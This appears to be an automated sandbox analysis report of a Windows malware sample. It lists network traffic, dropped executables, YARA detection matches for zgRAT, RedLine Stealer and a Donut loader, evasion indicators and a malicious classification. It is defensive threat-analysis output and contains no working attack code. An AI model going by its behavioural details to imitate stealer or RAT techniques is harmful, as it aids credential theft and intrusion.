Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 172.67.75.163:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.19:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.119:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.144.181:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.118:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.113:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.172.104:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.130.41.108:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 37.221.125.202:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.186.225.194:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.3:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.0:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.142.206.1:443 -> 192.168.2.5:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.5:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.32:443 -> 192.168.2.5:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.105.90.131:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.59:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.75.166:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.5:49957 version: TLS 1.2

Installs a raw input device (often for capturing keystrokes)

Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003119000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_f4536f8f-d

Drops certificate files (DER)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpA3B9.tmp			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Temp\TmpA398.tmp			Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.ce0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 30.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 30.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000015.00000002.3347838640.00000268C1470000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0000000F.00000002.3401298669.00000000034D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.3402282095.00000000033EC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.3398179221.0000000002B47000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

PE file contains section with special chars

Source: tZvjMg3Hw9.exe	Static PE information: section name:
Source: tZvjMg3Hw9.exe	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: section name:

PE file has nameless sections

Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: buben[1].exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: section name:

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Documents\SimpleAdobe\c7pGL4_L_P3yOlPkhT4UG9k1.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Creates files inside the system directory

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Windows\System32\GroupPolicy\gpt.ini	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Windows\System32\GroupPolicy\Machine	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Windows\System32\GroupPolicy\User	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File created: C:\Windows\System32\GroupPolicy\Machine\Registry.pol	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	File created: C:\Windows\SysWOW64\GroupPolicy\gpt.ini

Detected potential crypto function

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D518C	0_3_041D518C
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Code function: 0_3_041D518C	0_3_041D518C
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0040C490	8_2_0040C490
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0040BFC0	8_2_0040BFC0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004FB84F	8_2_004FB84F
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0043C800	8_2_0043C800
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006DB027	8_2_006DB027
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D900D	8_2_006D900D
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006E0005	8_2_006E0005
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00471830	8_2_00471830
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D8164	8_2_006D8164
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0044C160	8_2_0044C160
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006DF900	8_2_006DF900
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D61EA	8_2_006D61EA
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004FD9FE	8_2_004FD9FE
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00487270	8_2_00487270
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00481A30	8_2_00481A30
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006E0AFC	8_2_006E0AFC
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006DE367	8_2_006DE367
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004E3B58	8_2_004E3B58
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0043FB60	8_2_0043FB60
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0047F360	8_2_0047F360
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D9355	8_2_006D9355
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004E03D0	8_2_004E03D0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_0044EB90	8_2_0044EB90
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004E5B90	8_2_004E5B90
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00483470	8_2_00483470
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D7C53	8_2_006D7C53
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00402400	8_2_00402400
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004F6CC5	8_2_004F6CC5
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00416490	8_2_00416490
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006DECBF	8_2_006DECBF
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D9D49	8_2_006D9D49
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D9534	8_2_006D9534
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004E959F	8_2_004E959F
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006E059D	8_2_006E059D
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00402600	8_2_00402600
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006DFE38	8_2_006DFE38
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00472630	8_2_00472630
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_004706C0	8_2_004706C0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D6EF0	8_2_006D6EF0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00418EE0	8_2_00418EE0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00483EF0	8_2_00483EF0
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_006D9708	8_2_006D9708
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Code function: 8_2_00482FE0	8_2_00482FE0
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D23070	10_2_00D23070
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CFC1AC	10_2_00CFC1AC
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CF34F6	10_2_00CF34F6
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D214AB	10_2_00D214AB
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D20A09	10_2_00D20A09
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D21B87	10_2_00D21B87
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00CF6D2E	10_2_00CF6D2E
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: 10_2_00D20F5A	10_2_00D20F5A

Dropped file seen in connection with other malware

Source: Joe Sandbox View	Dropped File: C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe D0B06CA6ECE3FEF6671FA8ACD3D560A9400891ABCD10F5CEDCFE7BD1E6050DFE
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Default15_big[1].exe 2FB2C4E22806517992BAA268035EAE8ADC10EBE45BDCF01B525E9F6FAFF7B767

Enables security privileges

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process token adjusted: Security

Found potential string decryption / allocating functions

Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: String function: 00D1CEF2 appears 98 times
Source: C:\Users\user\Documents\SimpleAdobe\ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Code function: String function: 00CE50A0 appears 48 times

One or more processes crash

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2724 -ip 2724

PE / OLE file has an invalid certificate

Source: tZvjMg3Hw9.exe

Static PE information: invalid certificate

PE file contains executable resources (Code or Archives)

Source: 060[1].exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: FXnrFSfIY3onUvtSB3cuKesF.exe.0.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Resource name: AUUPG type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed

PE file does not import any functions

Source: TrIR3OjzF5zT6wur9yJ59R0V.exe.0.dr

Static PE information: No import functions for PE file found

Sample file is different than original file name gathered from version info

Source: tZvjMg3Hw9.exe, 00000000.00000003.2227165182.0000000004B77000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs tZvjMg3Hw9.exe
Source: tZvjMg3Hw9.exe, 00000000.00000003.2227294404.0000000004990000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs tZvjMg3Hw9.exe
Source: tZvjMg3Hw9.exe, 00000000.00000000.2080051195.0000000140270000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamexml_magik.exe8 vs tZvjMg3Hw9.exe
Source: tZvjMg3Hw9.exe	Binary or memory string: OriginalFilenamexml_magik.exe8 vs tZvjMg3Hw9.exe

Yara signature match

Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 33.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.ce0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 30.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 10.2.ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.d07000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 30.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 11.2.cWSgbiiWuHkrGD6e9Bvvb03z.exe.3e33010.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000015.00000002.3347838640.00000268C1470000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation author = ditekSHen, description = Detects executables containing potential Windows Defender anti-emulation checks
Source: 0000000F.00000002.3401298669.00000000034D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000010.00000002.3402282095.00000000033EC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000013.00000002.3398179221.0000000002B47000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: buben[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9997519048380221
Source: buben[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9934290213178295
Source: buben[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.99267578125
Source: buben[1].exe.0.dr	Static PE information: Section: ZLIB complexity 1.0006510416666667
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9997519048380221
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9934290213178295
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: Section: ZLIB complexity 0.99267578125
Source: smXaUwB1apxcy5uQ1QhDrzwt.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0006510416666667
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe.0.dr	Static PE information: Section: .Right ZLIB complexity 0.9970880681818182
Source: 1sMfNqnOFjTOadWc0yClvu5P.exe.0.dr	Static PE information: Section: .Right ZLIB complexity 0.9980948240589198
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9997554064239332
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Section: ZLIB complexity 1.000469355620155
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9892578125
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9994283536585366
Source: 9AzlS7F3tYa6PD9PpLcR316P.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5

Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .configAMSBUILDDIRECTORYDELETERETRYCOUNTCMSBUILDDIRECTORYDELETRETRYTIMEOUT.sln
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MSBuild MyApp.sln /t:Rebuild /p:Configuration=Release
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: *.sln
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MSBuild MyApp.csproj /t:Clean
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: /ignoreprojectextensions:.sln
Source: MSBuild.exe, 00000021.00000002.3375866248.0000000003F11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MSBUILD : error MSB1048: Solution files cannot be debugged directly. Run MSBuild first with an environment variable MSBUILDEMITSOLUTION=1 to create a corresponding ".sln.metaproj" file. Then debug that.

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@84/142@52/26

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

File created: C:\Users\user\Documents\SimpleAdobe

Jump to behavior

